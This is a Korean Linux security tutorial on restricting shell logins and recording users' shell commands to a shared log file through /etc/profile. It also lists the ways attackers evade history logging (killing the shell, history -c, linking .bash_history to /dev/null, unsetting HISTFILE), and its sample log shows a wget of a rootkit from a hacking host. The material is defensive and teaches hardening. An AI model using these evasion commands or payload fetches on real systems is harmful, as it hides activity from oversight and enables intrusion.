리눅스보안강좌#8 : 쉘로깅 관리 방안
작성자 정보
- 관리자 작성
- 작성일
컨텐츠 정보
- 2,226 조회
- 0 추천
- 목록
본문
쉘로깅 관리 방안
보안의 입장에서 꼭 필요한 것이 아니라면 가급적 쉘(shell)로그인을 엄격하게 제한하는 것이 좋은데, 왜냐하면 쉘을 통할 경우 exploit 실행 등을 통해 권한 상승이 가능한 경우가 많기 때문이다.
따라서 가능하다면 telnet이나 ssh보다는 ftp나 웹 등 최소한의 접근 권한만을 허용하는 것이 좋을 것이다.
그렇다면 유저의 쉘로깅을 어떻게 제한하고, 허용하여야 할 경우에는 어떻게 관리하여야 할까? 유저의 쉘은 /etc/passwd 파일에서 정의하고 있는데, 다음과 같이 해당 유저의 쉘은 /bin/bash인 것을 알 수 있다.
antihong:x:502:503::/home/antihong:/bin/bash
만약 위의 유저에 대하여 굳이 쉘을 통한 원격 로그인을 허용할 필요가 없다면 간단히 /etc/passwd파일에서 /bin/bash 대신 /sbin/nologin 또는 /bin/false로 변경하면 된다.
.
또는 아래와 같이 usermod를 이용하여 변경해도 되는데, 이와 같이 쉘이 변경되면 telnet / ssh / ftp 등의 접속이 되지 않으며 단지 pop3만 접속이 가능하다.
# usermod -s /sbin/nologin antihong
만약 ftp 접속을 허용하려면 /etc/shells 에 /bin/false 나 /sbin/nologin 등을 추가해 주면 된다.
. 왜냐하면 ftp의 경우 암호를 정확히 입력했다 하더라도 /etc/shells 에 등록된 쉘을 사용하는 유저만 접근을 허용하기 때문이다.
다음으로는 유저의 쉘로그인을 허용하여야 할 경우 로그인후 어떤 명령어를 입력하였는지 모니터링하는 방안에 대해 살펴보자. 이는 하니팟(honeypot)등에서 주로 사용되는 방법인데
➀ 쉘(shell)을 패치하여 syslogd나 특정 파일에 저장하는 방법
➁ LKM과 같이 커널 기반에서 모니터링 하는 방법
➂ 현재의 쉘을 유지하면서 명령어를 남기는 방법
등이 있는데, 여기에서는 쉽게 설정이 가능한 세 번째 방법을 살펴보도록 하자.
기본적으로 유저가 입력한 명령어는 홈디렉토리의 ~$HOME/.bash_history 파일에 저장되는데 이를 특정한 파일에 모두 저장되도록 하기 위해 다음과 같이 파일을 생성하도록 하자.
그리고 해당 파일의 소유권은 모든 유저들이 write 즉, 쓸 수만 있도록 602로 설정한다. 누구나 쓸 수 있는 권한을 준다는 것은 다른 말로 누구나 해당 파일을 삭제할 수 있다는 것을 뜻하므로 이를 위해 해당 파일을 /tmp에 생성하였다. 왜냐하면 sticky 비트가 설정된 /tmp 에서는 다른 유저가 생성한 파일은 삭제권한이 있어도 본인 이외에는 삭제할 수 없기 때문이다.
# touch /tmp/history
# chmod 602 /tmp/history
이후 /etc/profile의 하단에 다음과 같이 설정을 추가하도록 한다.
if [ $LOGNAME != "root" ]; then HISTFILE=/tmp/history TMOUT=1000 readonly HISTFILE readonly HISTSIZE echo "###############################################" >> /tmp/history echo "로그인 ID: $LOGNAME 접속시각: `/bin/date`" >> /tmp/history fi
|
이후부터는 telnet/ssh등을 통해 쉘 로그인할 경우 로그인후 입력 명령어 정보가 /tmp/history에 순차적으로 저장될 것이다.
여기에서 bash 쉘 내부 명령어인 readonly를 실행해 준 것은 유저가 임의로 로그를 남기지 않도록 HISTFILE이나 HISTSIZE 변수를 조작하지 못하도록 하기 위해서이며 또는 “declare -r HISTFILE”를 실행해도 된다.
. 이후 다음과 같이 임의로 설정하려면 에러가 나는 것을 알 수 있다.
[antihong@server antihong]$ HISTFILE=/dev/null
-bash: HISTFILE: readonly variable
이제 /tmp/history 파일을 보면 다음과 같이 정보가 남는 것을 알 수 있다.
#################################################### 로그인 ID: antihong 접속시각: 2008. 02. 14. (목) 15:56:03 KST cd /tmp wget http://hacking.site/hacking/rootkit.tgz tar zxvfp rootkit.tgz cd rootkit |
만약 입력한 명령어뿐만 아니라 명령어 입력 시 실행된 결과도 저장되도록 하려면 대신 아래와 같이 script를 이용하면 된다.
.
exec /usr/bin/script /tmp/history` date +'%Y-%m-%d:%H:%M:%S' `.$$
그럼, 이 방식의 한계는 없을까?
첫 번째는 chsh나 tsh 등 쉘을 변경하는 방법이 있다.
[antihong@server antihong]$ chsh
두 번째는 sh나 bash를 다시 실행하는 방법이 있다.
[antihong@server antihong]$ sh
sh-2.05b$
위와 같은 경우 명령어 입력 정보가 로그에 남지 않는다. 또한 웹해킹 등을 통해 쉘이 아닌 백도어 포트로 접속하는 경우도 남지 않으며 아래의 몇 가지 방법을 이용할 경우 남지 않는다는 한계가 있다.
공격자들은 로그인 후 입력된 정보를 남기지 않기 위해 어떻게 할까? 여러 가지 방법을 사용할 수 있을 것이다.
첫 번째는 shell 자체를 강제로 비정상 종료함으로써 파일에 저장하지 않는 방법이다.
여기에서 $$는 자신의 쉘pid를 뜻하는데, echo $$를 실행해보면 확인할 수 있다.
# kill -9 $$
두 번째는 다음과 같이 -c 옵션으로 history를 삭제하는 방법이 있다.
# history –c
가장 많이 사용하는 방법으로 .bash_history를 /dev/null로 링크하거나 아예 디렉토리를 생성하여 파일이 생성되지 않도록 하는 방법이 있다.
# ln -s /dev/null .bash_history # mkdir .bash_history
또는 앞에서 살펴본 바와 같이 HISTFILE 변수를 변경하는 방법이 있다.
# echo $HISTFILE /root/.bash_history # unset HISTFILE 또는 HISTFILE=/dev/null
|
강사 : 홍석범부매니저 소속: 라쿠텐
관련자료
-
이전
-
다음